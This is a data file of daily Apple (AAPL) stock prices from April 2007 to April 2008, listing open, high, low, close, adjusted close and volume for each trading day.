-2007-04-04,13.562856674194336,13.591428756713867,13.447142601013184,13.467143058776855,11.717775344848633,119196000.0,AAPL -2007-04-05,13.445713996887207,13.525713920593262,13.359999656677246,13.525713920593262,11.768735885620117,88879000.0,AAPL -2007-04-09,13.601428985595703,13.614285469055176,13.291428565979004,13.378571510314941,11.640707969665527,103335400.0,AAPL -2007-04-10,13.381428718566895,13.465714454650879,13.34428596496582,13.464285850524902,11.715289115905762,88116700.0,AAPL -2007-04-11,13.414285659790039,13.421428680419922,13.1899995803833,13.227143287658691,11.508949279785156,137254600.0,AAPL -2007-04-12,13.148571014404297,13.187143325805664,12.960000038146973,13.170000076293945,11.459229469299316,164168900.0,AAPL -2007-04-13,12.985713958740234,13.057143211364746,12.865714073181152,12.89142894744873,11.21684455871582,179985400.0,AAPL -2007-04-16,12.938570976257324,13.071428298950195,12.892857551574707,13.061429023742676,11.364762306213379,152258400.0,AAPL -2007-04-17,13.142857551574707,13.185714721679688,12.814285278320312,12.907142639160156,11.23051643371582,187980100.0,AAPL -2007-04-18,12.880000114440918,12.978571891784668,12.800000190734863,12.914285659790039,11.236732482910156,116011000.0,AAPL -2007-04-19,12.884285926818848,13.035714149475098,12.832857131958008,12.89571475982666,11.220572471618652,106478400.0,AAPL -2007-04-20,12.984285354614258,13.025713920593262,12.935714721679688,12.99571418762207,11.307584762573242,130694900.0,AAPL -2007-04-23,13.084285736083984,13.399999618530273,13.0600004196167,13.35857105255127,11.62330436706543,195072500.0,AAPL -2007-04-24,13.422857284545898,13.770000457763672,13.04285717010498,13.319999694824219,11.589742660522461,263813200.0,AAPL -2007-04-25,13.46142864227295,13.628571510314941,13.399999618530273,13.621428489685059,11.852020263671875,296786000.0,AAPL -2007-04-26,14.511428833007812,14.642857551574707,14.04285717010498,14.119999885559082,12.285825729370117,434444500.0,AAPL -2007-04-27,14.025713920593262,14.278571128845215,13.955714225769043,14.274285316467285,12.420068740844727,174850900.0,AAPL -2007-04-30,14.298571586608887,14.428571701049805,14.238571166992188,14.257143020629883,12.405153274536133,154127400.0,AAPL -2007-05-01,14.227143287658691,14.335714340209961,14.078571319580078,14.210000038146973,12.364134788513184,133130900.0,AAPL -2007-05-02,14.235713958740234,14.3628568649292,14.210000038146973,14.341428756713867,12.478492736816406,126286300.0,AAPL -2007-05-03,14.390000343322754,14.492856979370117,14.287142753601074,14.342857360839844,12.479731559753418,144019400.0,AAPL -2007-05-04,14.399999618530273,14.514286041259766,14.357142448425293,14.40142822265625,12.530696868896484,95496800.0,AAPL -2007-05-07,14.4399995803833,14.907142639160156,14.430000305175781,14.845714569091797,12.917269706726074,215389300.0,AAPL -2007-05-08,14.781428337097168,15.021428108215332,14.774285316467285,15.00857162475586,13.058974266052246,195999300.0,AAPL -2007-05-09,14.987142562866211,15.279999732971191,14.984285354614258,15.268571853637695,13.285197257995605,179439400.0,AAPL -2007-05-10,15.232856750488281,15.548571586608887,15.131428718566895,15.334285736083984,13.342375755310059,299314400.0,AAPL -2007-05-11,15.39142894744873,15.59000015258789,15.25428581237793,15.534285545349121,13.51639461517334,163424100.0,AAPL -2007-05-14,15.65999984741211,15.714285850524902,15.464285850524902,15.622857093811035,13.593462944030762,162986600.0,AAPL -2007-05-15,15.652856826782227,15.742856979370117,15.21142864227295,15.359999656677246,13.36474895477295,238628600.0,AAPL -2007-05-16,15.50428581237793,15.54714298248291,14.774285316467285,15.334285736083984,13.342375755310059,281691900.0,AAPL -2007-05-17,15.307143211364746,15.695713996887207,15.307143211364746,15.634285926818848,13.603408813476562,183822800.0,AAPL -2007-05-18,15.747142791748047,15.80571460723877,15.681428909301758,15.717143058776855,13.675501823425293,155336300.0,AAPL -2007-05-21,15.75857162475586,16.064285278320312,15.721428871154785,15.997142791748047,13.919127464294434,159973100.0,AAPL -2007-05-22,16.06999969482422,16.25,16.001428604125977,16.219999313354492,14.11303424835205,143102400.0,AAPL -2007-05-23,16.288572311401367,16.428571701049805,16.084285736083984,16.12714195251465,14.032238960266113,227843700.0,AAPL -2007-05-24,16.11571502685547,16.351428985595703,15.767143249511719,15.812856674194336,13.75877857208252,221840500.0,AAPL -2007-05-25,16.0,16.25428581237793,15.928571701049805,16.231428146362305,14.122980117797852,158239900.0,AAPL -2007-05-29,16.350000381469727,16.408571243286133,16.09857177734375,16.33571434020996,14.21371841430664,161423500.0,AAPL -2007-05-30,16.328571319580078,16.98285675048828,16.218570709228516,16.96714210510254,14.763127326965332,369611200.0,AAPL -2007-05-31,17.152856826782227,17.452857971191406,17.0771427154541,17.312856674194336,15.063934326171875,324266600.0,AAPL -2007-06-01,17.299999237060547,17.312856674194336,16.898571014404297,16.91428565979004,14.717135429382324,221315500.0,AAPL -2007-06-04,16.9471435546875,17.389999389648438,16.842857360839844,17.332857131958008,15.081335067749023,221668300.0,AAPL -2007-06-05,17.34428596496582,17.527143478393555,17.214284896850586,17.5242862701416,15.24789810180664,230196400.0,AAPL -2007-06-06,17.47142791748047,17.72142791748047,17.421428680419922,17.662857055664062,15.368467330932617,278060300.0,AAPL -2007-06-07,17.855714797973633,18.229999542236328,17.59857177734375,17.724285125732422,15.421921730041504,478769900.0,AAPL -2007-06-08,17.974285125732422,17.9757137298584,17.469999313354492,17.784286499023438,15.47412109375,310420600.0,AAPL -2007-06-11,18.0,18.02142906188965,17.0771427154541,17.170000076293945,14.939635276794434,468564600.0,AAPL -2007-06-12,17.049999237060547,17.387142181396484,16.90142822265625,17.1971435546875,14.963250160217285,356641600.0,AAPL -2007-06-13,17.30714225769043,17.312856674194336,16.485713958740234,16.785715103149414,14.605265617370605,430338300.0,AAPL -2007-06-14,16.742856979370117,17.064285278320312,16.631427764892578,16.964284896850586,14.760639190673828,243316500.0,AAPL -2007-06-15,17.231428146362305,17.238571166992188,17.12285804748535,17.214284896850586,14.978166580200195,202804700.0,AAPL -2007-06-18,17.61142921447754,17.882856369018555,17.505714416503906,17.8700008392334,15.548704147338867,227651200.0,AAPL -2007-06-19,17.812856674194336,17.858572006225586,17.558570861816406,17.665714263916016,15.370951652526855,235756500.0,AAPL -2007-06-20,17.695714950561523,17.808570861816406,17.35714340209961,17.364286422729492,15.108681678771973,224378000.0,AAPL -2007-06-21,17.385713577270508,17.755714416503906,17.24571418762207,17.700000762939453,15.400788307189941,216761300.0,AAPL -2007-06-22,17.69285774230957,17.77857208251953,17.48285675048828,17.571428298950195,15.288919448852539,157969000.0,AAPL -2007-06-25,17.74142837524414,17.8700008392334,17.29428482055664,17.477142333984375,15.20688247680664,241350900.0,AAPL -2007-06-26,17.711427688598633,17.714284896850586,16.959999084472656,17.092857360839844,14.872513771057129,336251300.0,AAPL -2007-06-27,17.229999542236328,17.43428611755371,17.03714370727539,17.412857055664062,15.1509428024292,243674200.0,AAPL -2007-06-28,17.479999542236328,17.498571395874023,17.14285659790039,17.222856521606445,14.985624313354492,209535900.0,AAPL -2007-06-29,17.424285888671875,17.714284896850586,17.29857063293457,17.43428611755371,15.16959285736084,284460400.0,AAPL -2007-07-02,17.292856216430664,17.441429138183594,17.042856216430664,17.322856903076172,15.0726318359375,248715600.0,AAPL -2007-07-03,17.428571701049805,18.200000762939453,17.35714340209961,18.167142868041992,15.807246208190918,290620400.0,AAPL -2007-07-05,18.399999618530273,18.99571418762207,18.38428497314453,18.964284896850586,16.500844955444336,363262900.0,AAPL -2007-07-06,19.018571853637695,19.04857063293457,18.628570556640625,18.899999618530273,16.44490623474121,218673700.0,AAPL -2007-07-09,18.911428451538086,18.985713958740234,18.454286575317383,18.618572235107422,16.200037002563477,248955000.0,AAPL -2007-07-10,18.411428451538086,19.214284896850586,18.40142822265625,18.907142639160156,16.451122283935547,313751900.0,AAPL -2007-07-11,18.867143630981445,19.100000381469727,18.75857162475586,18.912857055664062,16.456092834472656,205443000.0,AAPL -2007-07-12,19.121429443359375,19.177143096923828,18.912857055664062,19.152856826782227,16.664913177490234,176152200.0,AAPL -2007-07-13,19.290000915527344,19.69285774230957,19.21714210510254,19.67571449279785,17.119855880737305,226901500.0,AAPL -2007-07-16,19.770000457763672,19.997142791748047,19.64285659790039,19.72857093811035,17.16584587097168,234028200.0,AAPL -2007-07-17,19.757143020629883,19.94285774230957,19.64285659790039,19.84428596496582,17.266529083251953,177489900.0,AAPL -2007-07-18,19.74142837524414,19.777143478393555,19.43428611755371,19.731428146362305,17.168333053588867,189214200.0,AAPL -2007-07-19,20.042856216430664,20.11571502685547,19.950000762939453,20.0,17.402019500732422,183222900.0,AAPL -2007-07-20,20.235713958740234,20.597143173217773,20.0,20.535715103149414,17.868141174316406,291943400.0,AAPL -2007-07-23,20.472856521606445,20.74571418762207,20.132856369018555,20.52857208251953,17.8619327545166,259122500.0,AAPL -2007-07-24,19.84000015258789,20.14285659790039,19.16428565979004,19.270000457763672,16.766841888427734,448823200.0,AAPL -2007-07-25,19.621429443359375,19.765714645385742,19.285715103149414,19.608572006225586,17.06143569946289,374045700.0,AAPL -2007-07-26,20.84428596496582,21.214284896850586,19.56571388244629,20.85714340209961,18.1478214263916,546657300.0,AAPL -2007-07-27,20.88428497314453,21.2742862701416,20.540000915527344,20.549999237060547,17.88057518005371,290274600.0,AAPL -2007-07-30,20.618572235107422,20.77857208251953,19.93857192993164,20.204286575317383,17.57976722717285,276747100.0,AAPL -2007-07-31,20.424285888671875,20.497142791748047,18.788572311401367,18.822856903076172,16.377790451049805,440598200.0,AAPL -2007-08-01,19.091428756713867,19.34000015258789,18.252857208251953,19.285715103149414,16.780513763427734,437539200.0,AAPL -2007-08-02,19.52142906188965,19.56571388244629,19.16428565979004,19.498571395874023,16.96572494506836,213161200.0,AAPL -2007-08-03,19.322856903076172,19.421428680419922,18.785715103149414,18.83571434020996,16.388975143432617,169796900.0,AAPL -2007-08-06,18.985713958740234,19.32428550720215,18.328571319580078,19.321428298950195,16.81159019470215,231292600.0,AAPL -2007-08-07,19.277143478393555,19.605714797973633,18.9471435546875,19.290000915527344,16.78424835205078,237484100.0,AAPL -2007-08-08,19.53714370727539,19.551427841186523,18.85714340209961,19.144285202026367,16.657459259033203,202024200.0,AAPL -2007-08-09,18.729999542236328,19.0,17.8700008392334,18.055713653564453,15.710295677185059,281348900.0,AAPL -2007-08-10,17.588571548461914,18.25,17.185714721679688,17.85714340209961,15.537516593933105,352687300.0,AAPL -2007-08-13,18.33142852783203,18.47857093811035,18.071428298950195,18.255714416503906,15.884315490722656,188227900.0,AAPL -2007-08-14,18.3271427154541,18.328571319580078,17.6728572845459,17.718570709228516,15.416947364807129,184751700.0,AAPL -2007-08-15,17.534286499023438,17.837142944335938,17.092857360839844,17.128570556640625,14.903587341308594,248213000.0,AAPL -2007-08-16,16.715713500976562,16.928571701049805,15.945713996887207,16.72142791748047,14.549328804016113,466672500.0,AAPL -2007-08-17,17.43000030517578,17.64285659790039,17.117143630981445,17.437143325805664,15.172074317932129,298765600.0,AAPL -2007-08-20,17.70857048034668,17.785715103149414,17.214284896850586,17.459999084472656,15.191956520080566,200829300.0,AAPL -2007-08-21,17.45857048034668,18.4228572845459,17.285715103149414,18.224285125732422,15.85696792602539,325761800.0,AAPL -2007-08-22,18.74571418762207,18.964284896850586,18.618572235107422,18.93000030517578,16.47101402282715,265441400.0,AAPL -2007-08-23,19.01285743713379,19.04857063293457,18.53714370727539,18.724285125732422,16.292016983032227,216709500.0,AAPL -2007-08-24,18.64714241027832,19.338571548461914,18.54428482055664,19.328571319580078,16.81780433654785,227958500.0,AAPL -2007-08-27,19.055713653564453,19.23714256286621,18.871429443359375,18.89285659790039,16.438692092895508,176859900.0,AAPL -2007-08-28,18.71285629272461,18.915714263916016,18.09000015258789,18.117143630981445,15.763741493225098,294841400.0,AAPL -2007-08-29,18.554285049438477,19.16857147216797,18.505714416503906,19.154285430908203,16.666166305541992,291715200.0,AAPL -2007-08-30,18.952857971191406,19.75,18.899999618530273,19.464284896850586,16.935894012451172,358895600.0,AAPL -2007-08-31,19.927143096923828,19.950000762939453,19.6299991607666,19.78285789489746,17.213085174560547,219221800.0,AAPL -2007-09-04,19.99142837524414,20.818571090698242,19.977142333984375,20.59428596496582,17.919109344482422,329210700.0,AAPL -2007-09-05,20.709999084472656,20.834285736083984,19.44285774230957,19.53714370727539,16.99928855895996,582055600.0,AAPL -2007-09-06,19.36571502685547,19.652856826782227,18.95857048034668,19.28714370727539,16.781768798828125,475315400.0,AAPL -2007-09-07,18.858572006225586,18.899999618530273,18.571428298950195,18.82428550720215,16.3790283203125,357644000.0,AAPL -2007-09-10,19.56999969482422,19.719999313354492,19.135713577270508,19.530000686645508,16.993072509765625,371959700.0,AAPL -2007-09-11,19.700000762939453,19.757143020629883,19.10714340209961,19.355714797973633,16.841428756713867,242971400.0,AAPL -2007-09-12,19.427143096923828,19.91428565979004,19.39285659790039,19.549999237060547,17.010475158691406,255692500.0,AAPL -2007-09-13,19.832857131958008,19.85714340209961,19.52142906188965,19.600000381469727,17.05398178100586,164040800.0,AAPL -2007-09-14,19.510000228881836,19.854286193847656,19.457143783569336,19.829999923706055,17.254100799560547,151830000.0,AAPL -2007-09-17,19.855714797973633,20.084285736083984,19.657142639160156,19.772857666015625,17.204381942749023,198342900.0,AAPL -2007-09-18,19.86571502685547,20.407142639160156,19.690000534057617,20.131427764892578,17.516372680664062,266022400.0,AAPL -2007-09-19,20.431428909301758,20.45142936706543,19.91428565979004,20.110000610351562,17.497732162475586,256720100.0,AAPL -2007-09-20,20.02142906188965,20.255714416503906,19.902856826782227,20.04428482055664,17.4405517578125,172960200.0,AAPL -2007-09-21,20.162857055664062,20.66428565979004,20.04428482055664,20.592857360839844,17.917858123779297,284720100.0,AAPL -2007-09-24,20.961427688598633,21.407142639160156,20.950000762939453,21.182857513427734,18.431222915649414,263040400.0,AAPL -2007-09-25,20.977142333984375,21.88857078552246,20.974285125732422,21.882856369018555,19.040298461914062,298137700.0,AAPL -2007-09-26,22.067142486572266,22.14285659790039,21.60714340209961,21.82428550720215,18.989334106445312,243817000.0,AAPL -2007-09-27,21.96714210510254,22.07428550720215,21.760000228881836,22.071428298950195,19.20437240600586,164549700.0,AAPL -2007-09-28,21.920000076293945,22.08571434020996,21.821428298950195,21.924285888671875,19.076337814331055,153775300.0,AAPL -2007-10-01,22.09000015258789,22.48714256286621,21.847143173217773,22.334285736083984,19.433082580566406,209267100.0,AAPL -2007-10-02,22.364286422729492,22.65571403503418,22.270000457763672,22.635713577270508,19.695350646972656,198017400.0,AAPL -2007-10-03,22.540000915527344,22.739999771118164,22.43000030517578,22.559999465942383,19.629474639892578,173129600.0,AAPL -2007-10-04,22.571428298950195,22.582857131958008,21.928571701049805,22.31999969482422,19.420652389526367,164239600.0,AAPL -2007-10-05,22.624286651611328,23.082857131958008,22.52857208251953,23.064285278320312,20.068256378173828,235867800.0,AAPL -2007-10-08,23.355714797973633,23.98714256286621,23.281429290771484,23.98714256286621,20.87123680114746,208982200.0,AAPL -2007-10-09,24.314285278320312,24.444286346435547,23.81142807006836,23.979999542236328,20.865020751953125,276071600.0,AAPL -2007-10-10,23.935714721679688,23.98285675048828,23.657142639160156,23.8271427154541,20.732019424438477,166897500.0,AAPL -2007-10-11,24.21285629272461,24.554285049438477,21.887142181396484,23.17571449279785,20.16520881652832,410998000.0,AAPL -2007-10-12,23.28714370727539,23.89714241027832,23.114286422729492,23.89285659790039,20.78919219970703,247044000.0,AAPL -2007-10-15,23.997142791748047,24.224285125732422,23.35714340209961,23.854286193847656,20.755640029907227,269482500.0,AAPL -2007-10-16,23.648571014404297,24.31142807006836,23.592857360839844,24.2257137298584,21.078815460205078,266957600.0,AAPL -2007-10-17,24.670000076293945,24.719999313354492,24.16857147216797,24.678571701049805,21.472848892211914,281903300.0,AAPL -2007-10-18,24.5,24.88428497314453,24.435714721679688,24.785715103149414,21.566072463989258,205919000.0,AAPL -2007-10-19,24.891427993774414,24.9471435546875,24.285715103149414,24.345714569091797,21.183229446411133,322945000.0,AAPL -2007-10-22,24.33571434020996,24.985713958740234,24.280000686645508,24.908571243286133,21.672971725463867,412374900.0,AAPL -2007-10-23,26.937143325805664,26.94285774230957,26.108572006225586,26.59428596496582,23.139713287353516,448791000.0,AAPL -2007-10-24,26.54428482055664,26.744285583496094,25.605714797973633,26.56142807006836,23.11112403869629,322120400.0,AAPL -2007-10-25,26.40999984741211,26.55714225769043,25.95142936706543,26.11142921447754,22.71957778930664,243400500.0,AAPL -2007-10-26,26.469999313354492,26.481428146362305,26.125713348388672,26.385713577270508,22.958232879638672,176719200.0,AAPL -2007-10-29,26.492856979370117,26.65571403503418,26.385713577270508,26.441429138183594,23.0067081451416,135138500.0,AAPL -2007-10-30,26.597143173217773,27.0528564453125,26.389999389648438,26.714284896850586,23.244125366210938,234853500.0,AAPL -2007-10-31,26.804285049438477,27.15999984741211,26.421428680419922,27.135713577270508,23.610807418823242,208327700.0,AAPL -2007-11-01,26.94285774230957,27.157142639160156,25.714284896850586,26.777143478393555,23.298816680908203,201259100.0,AAPL -2007-11-02,27.030000686645508,27.062856674194336,26.21285629272461,26.838571548461914,23.35226821899414,250528600.0,AAPL -2007-11-05,26.469999313354492,26.994285583496094,26.31999969482422,26.597143173217773,23.142200469970703,201044200.0,AAPL -2007-11-06,26.72142791748047,27.428571701049805,26.46714210510254,27.398571014404297,23.839521408081055,238681800.0,AAPL -2007-11-07,27.229999542236328,27.525714874267578,26.59000015258789,26.614286422729492,23.157114028930664,248581900.0,AAPL -2007-11-08,26.667142868041992,26.700000762939453,23.96714210510254,25.067142486572266,21.810945510864258,472594500.0,AAPL -2007-11-09,24.450000762939453,25.01714324951172,23.601428985595703,23.624286651611328,20.555513381958008,381595200.0,AAPL -2007-11-12,23.61142921447754,23.957143783569336,21.518571853637695,21.965713500976562,19.11238670349121,442266300.0,AAPL -2007-11-13,22.97857093811035,24.42571449279785,21.965713500976562,24.280000686645508,21.12605094909668,434861700.0,AAPL -2007-11-14,25.308570861816406,25.367143630981445,23.391427993774414,23.729999542236328,20.64749526977539,362292000.0,AAPL -2007-11-15,23.770000457763672,24.227142333984375,22.899999618530273,23.47142791748047,20.422513961791992,371852600.0,AAPL -2007-11-16,23.614286422729492,23.860000610351562,22.761428833007812,23.770000457763672,20.682296752929688,345873500.0,AAPL -2007-11-19,23.72857093811035,24.02857208251953,23.157142639160156,23.421428680419922,20.379009246826172,288607200.0,AAPL -2007-11-20,23.667142868041992,24.54142951965332,23.36142921447754,24.121429443359375,20.988075256347656,385910700.0,AAPL -2007-11-21,23.691429138183594,24.621429443359375,23.5242862701416,24.06571388244629,20.93960189819336,304452400.0,AAPL -2007-11-23,24.571428298950195,24.578571319580078,24.25,24.505714416503906,21.32244110107422,116439400.0,AAPL -2007-11-26,24.79857063293457,25.32428550720215,24.621429443359375,24.648571014404297,21.446744918823242,326438700.0,AAPL -2007-11-27,25.031429290771484,25.112857818603516,24.28714370727539,24.972856521606445,21.72890853881836,329257600.0,AAPL -2007-11-28,25.260000228881836,25.799999237060547,25.049999237060547,25.74571418762207,22.4013729095459,287728000.0,AAPL -2007-11-29,25.632856369018555,26.452857971191406,25.592857360839844,26.3271427154541,22.907272338867188,262731700.0,AAPL -2007-11-30,26.76285743713379,26.814285278320312,25.671428680419922,26.031429290771484,22.649972915649414,296950500.0,AAPL -2007-12-03,25.979999542236328,26.305713653564453,25.385713577270508,25.551427841186523,22.23232078552246,240367400.0,AAPL -2007-12-04,25.30714225769043,25.842857360839844,25.284286499023438,25.687143325805664,22.35040855407715,193449900.0,AAPL -2007-12-05,26.12714195251465,26.571428298950195,26.058570861816406,26.5,23.05767250061035,223100500.0,AAPL -2007-12-06,26.59857177734375,27.157142639160156,26.588571548461914,27.135713577270508,23.610807418823242,224952700.0,AAPL -2007-12-07,27.219999313354492,27.855714797973633,26.862857818603516,27.757143020629883,24.151517868041992,266516600.0,AAPL -2007-12-10,27.65571403503418,27.95142936706543,27.527143478393555,27.744285583496094,24.14032745361328,180594400.0,AAPL -2007-12-11,27.821428298950195,28.118572235107422,26.770000457763672,26.93428611755371,23.435550689697266,277731300.0,AAPL -2007-12-12,27.63428497314453,27.78285789489746,26.53714370727539,27.265714645385742,23.723922729492188,306415200.0,AAPL -2007-12-13,27.170000076293945,27.445714950561523,26.83142852783203,27.404285430908203,23.84449577331543,216154400.0,AAPL -2007-12-14,27.195714950561523,27.600000381469727,27.0771427154541,27.198572158813477,23.665502548217773,168578200.0,AAPL -2007-12-17,27.24571418762207,27.52142906188965,26.139999389648438,26.342857360839844,22.920942306518555,256173400.0,AAPL -2007-12-18,26.645713806152344,26.761428833007812,25.514286041259766,26.139999389648438,22.744441986083984,305650800.0,AAPL -2007-12-19,26.139999389648438,26.37714195251465,25.842857360839844,26.15999984741211,22.761838912963867,206869600.0,AAPL -2007-12-20,26.489999771118164,26.832857131958008,26.190000534057617,26.744285583496094,23.270227432250977,193514300.0,AAPL -2007-12-21,27.15999984741211,27.70142936706543,27.12714195251465,27.70142936706543,24.103042602539062,248490200.0,AAPL -2007-12-24,27.86142921447754,28.4757137298584,27.8271427154541,28.399999618530273,24.710866928100586,120050700.0,AAPL -2007-12-26,28.43000030517578,28.70857048034668,28.117143630981445,28.421428680419922,24.729515075683594,175933100.0,AAPL -2007-12-27,28.421428680419922,28.994285583496094,28.257143020629883,28.367143630981445,24.68227767944336,198881900.0,AAPL -2007-12-28,28.65571403503418,28.79428482055664,28.125713348388672,28.547142028808594,24.838895797729492,174911800.0,AAPL -2007-12-31,28.5,28.64285659790039,28.25,28.297142028808594,24.621370315551758,134833300.0,AAPL -2008-01-02,28.46714210510254,28.608572006225586,27.507143020629883,27.834285736083984,24.21864128112793,269794700.0,AAPL -2008-01-03,27.915714263916016,28.198572158813477,27.527143478393555,27.847143173217773,24.22982406616211,210516600.0,AAPL -2008-01-04,27.350000381469727,27.571428298950195,25.555713653564453,25.72142791748047,22.380233764648438,363958000.0,AAPL -2008-01-07,25.89285659790039,26.22857093811035,24.318571090698242,25.37714195251465,22.08067512512207,518048300.0,AAPL -2008-01-08,25.734285354614258,26.06571388244629,24.399999618530273,24.464284896850586,21.286396026611328,380954000.0,AAPL -2008-01-09,24.47142791748047,25.64285659790039,24.042856216430664,25.628570556640625,22.2994441986084,453470500.0,AAPL -2008-01-10,25.368572235107422,25.85714340209961,25.058570861816406,25.431428909301758,22.127912521362305,370743800.0,AAPL -2008-01-11,25.14285659790039,25.407142639160156,24.285715103149414,24.670000076293945,21.465391159057617,308071400.0,AAPL -2008-01-14,25.360000610351562,25.631427764892578,25.0242862701416,25.540000915527344,22.222379684448242,275112600.0,AAPL -2008-01-15,25.38857078552246,25.60285758972168,23.522857666015625,24.148571014404297,21.01169204711914,585819500.0,AAPL -2008-01-16,23.604286193847656,24.144285202026367,22.385713577270508,22.805713653564453,19.8432674407959,553461300.0,AAPL -2008-01-17,23.072856903076172,23.62285804748535,22.631427764892578,22.984285354614258,19.99864959716797,439464900.0,AAPL -2008-01-18,23.101428985595703,23.678571701049805,22.801427841186523,23.051427841186523,20.057064056396484,431085900.0,AAPL -2008-01-22,21.15142822265625,22.854286193847656,20.85714340209961,22.234285354614258,19.346073150634766,608688500.0,AAPL -2008-01-23,19.45571517944336,20.0,18.020000457763672,19.867143630981445,17.28642463684082,843242400.0,AAPL -2008-01-24,19.998571395874023,20.100000381469727,18.858572006225586,19.371429443359375,16.8551025390625,501466700.0,AAPL -2008-01-25,19.855714797973633,19.8700008392334,18.515714645385742,18.572856903076172,16.160263061523438,388684800.0,AAPL -2008-01-28,18.308570861816406,19.02857208251953,18.064285278320312,18.572856903076172,16.160263061523438,368711000.0,AAPL -2008-01-29,18.735713958740234,18.969999313354492,18.435714721679688,18.79142951965332,16.35044288635254,274995700.0,AAPL -2008-01-30,18.76714324951172,19.350000381469727,18.571428298950195,18.882856369018555,16.429996490478516,310762900.0,AAPL -2008-01-31,18.492856979370117,19.52142906188965,18.485713958740234,19.337142944335938,16.825265884399414,336418600.0,AAPL -2008-02-01,19.46285629272461,19.51285743713379,18.882856369018555,19.10714340209961,16.625144958496094,252686000.0,AAPL -2008-02-04,19.1728572845459,19.41428565979004,18.7742862701416,18.80714225769043,16.36410903930664,224808500.0,AAPL -2008-02-05,18.632856369018555,19.14285659790039,18.41428565979004,18.479999542236328,16.079465866088867,285260500.0,AAPL -2008-02-06,18.690000534057617,18.845714569091797,17.395713806152344,17.428571701049805,15.164618492126465,393318100.0,AAPL -2008-02-07,17.13857078552246,17.825714111328125,16.752857208251953,17.31999969482422,15.070151329040527,520832900.0,AAPL -2008-02-08,17.440000534057617,17.957143783569336,17.371429443359375,17.92571449279785,15.597180366516113,338993200.0,AAPL -2008-02-11,18.28714370727539,18.568571090698242,18.171428680419922,18.492856979370117,16.090656280517578,300358100.0,AAPL -2008-02-12,18.671428680419922,18.714284896850586,17.65999984741211,17.837142944335938,15.520116806030273,306495000.0,AAPL -2008-02-13,18.097143173217773,18.540000915527344,17.9471435546875,18.485713958740234,16.084436416625977,242133500.0,AAPL -2008-02-14,18.485713958740234,18.685714721679688,18.144285202026367,18.20857048034668,15.843295097351074,238524300.0,AAPL -2008-02-15,18.038572311401367,18.154285430908203,17.722856521606445,17.804285049438477,15.491524696350098,225325100.0,AAPL -2008-02-19,17.998571395874023,18.10714340209961,17.34857177734375,17.454286575317383,15.186988830566406,251261500.0,AAPL -2008-02-20,17.457143783569336,17.799999237060547,17.382856369018555,17.68857192993164,15.39084243774414,241859800.0,AAPL -2008-02-21,18.007143020629883,18.067142486572266,17.265714645385742,17.362857818603516,15.107439041137695,234528700.0,AAPL -2008-02-22,17.497142791748047,17.501428604125977,16.5528564453125,17.06571388244629,14.848895072937012,382469500.0,AAPL -2008-02-25,16.941429138183594,17.167142868041992,16.665714263916016,17.105714797973633,14.883700370788574,314193600.0,AAPL -2008-02-26,16.805713653564453,17.29857063293457,16.49142837524414,17.02142906188965,14.810359001159668,376222000.0,AAPL -2008-02-27,16.889999389648438,17.578571319580078,16.8700008392334,17.56571388244629,15.28394603729248,368784500.0,AAPL -2008-02-28,18.171428680419922,18.885713577270508,17.96714210510254,18.558570861816406,16.147829055786133,404563600.0,AAPL -2008-02-29,18.469999313354492,18.601428985595703,17.828571319580078,17.860000610351562,15.540000915527344,313870200.0,AAPL -2008-03-03,17.777143478393555,17.997142791748047,16.85714340209961,17.389999389648438,15.13105583190918,398260800.0,AAPL -2008-03-04,17.427143096923828,17.84000015258789,17.200000762939453,17.8028564453125,15.490279197692871,446345900.0,AAPL -2008-03-05,17.654285430908203,17.87714195251465,17.464284896850586,17.784286499023438,15.47412109375,305459000.0,AAPL -2008-03-06,17.801427841186523,18.214284896850586,17.25857162475586,17.275714874267578,15.031615257263184,368424700.0,AAPL -2008-03-07,17.20142936706543,17.568571090698242,17.007143020629883,17.464284896850586,15.195691108703613,307615700.0,AAPL -2008-03-10,17.42571449279785,17.637142181396484,17.0528564453125,17.09857177734375,14.877480506896973,249897200.0,AAPL -2008-03-11,17.72857093811035,18.211427688598633,17.428571701049805,18.19285774230957,15.829622268676758,290985800.0,AAPL -2008-03-12,18.148571014404297,18.382856369018555,17.881427764892578,18.00428581237793,15.665545463562012,264907300.0,AAPL -2008-03-13,17.72857093811035,18.5,17.571428298950195,18.277143478393555,15.90295696258545,315525700.0,AAPL -2008-03-14,18.554285049438477,18.614286422729492,17.742856979370117,18.087142944335938,15.737639427185059,289160200.0,AAPL -2008-03-17,17.507143020629883,18.3700008392334,17.507143020629883,18.104286193847656,15.752556800842285,268149700.0,AAPL -2008-03-18,18.454286575317383,19.0,18.381427764892578,18.974285125732422,16.50953483581543,301280000.0,AAPL -2008-03-19,19.01714324951172,19.18428611755371,18.5242862701416,18.5242862701416,16.118000030517578,252634200.0,AAPL -2008-03-20,18.731428146362305,19.04142951965332,18.454286575317383,19.038572311401367,16.565475463867188,227196900.0,AAPL -2008-03-24,19.144285202026367,20.121429443359375,19.091428756713867,19.932857513427734,17.34360122680664,266730100.0,AAPL -2008-03-25,19.994285583496094,20.44285774230957,19.618572235107422,20.139999389648438,17.52383041381836,263097800.0,AAPL -2008-03-26,20.124286651611328,20.81999969482422,20.091428756713867,20.722856521606445,18.03098487854004,295521100.0,AAPL -2008-03-27,20.707143783569336,20.75857162475586,19.998571395874023,20.035715103149414,17.433088302612305,249957400.0,AAPL -2008-03-28,20.257143020629883,20.66428565979004,20.22857093811035,20.43000030517578,17.77616310119629,178652600.0,AAPL -2008-03-31,20.46714210510254,20.81571388244629,20.360000610351562,20.5,17.837072372436523,192016300.0,AAPL -2008-04-01,20.899999618530273,21.3799991607666,20.515714645385742,21.36142921447754,18.586599349975586,258141800.0,AAPL -2008-04-02,21.25428581237793,21.600000381469727,20.83571434020996,21.06999969482422,18.33302879333496,261242100.0,AAPL -2008-04-03,21.00857162475586,21.9471435546875,21.0,21.658571243286133,18.845149993896484,262892000.0,AAPL -2008-04-04,21.74142837524414,22.101428985595703,21.535715103149414,21.868572235107422,19.027864456176758,213604300.0,AAPL -2008-04-07,22.304285049438477,22.812856674194336,22.158571243286133,22.270000457763672,19.37714958190918,289581600.0,AAPL -2008-04-08,21.935714721679688,22.350000381469727,21.760000228881836,21.834285736083984,18.99803352355957,253573600.0,AAPL -2008-04-09,21.90142822265625,21.984285354614258,21.494285583496094,21.63428497314453,18.824010848999023,218349600.0,AAPL -2008-04-10,21.59000015258789,22.202857971191406,21.514286041259766,22.078571319580078,19.21058464050293,238940800.0,AAPL -2008-04-11,21.817142486572266,21.899999618530273,20.91428565979004,21.020000457763672,18.289520263671875,302519000.0,AAPL -2008-04-14,20.96714210510254,21.321428298950195,20.648571014404297,21.11142921447754,18.36907386779785,211271900.0,AAPL 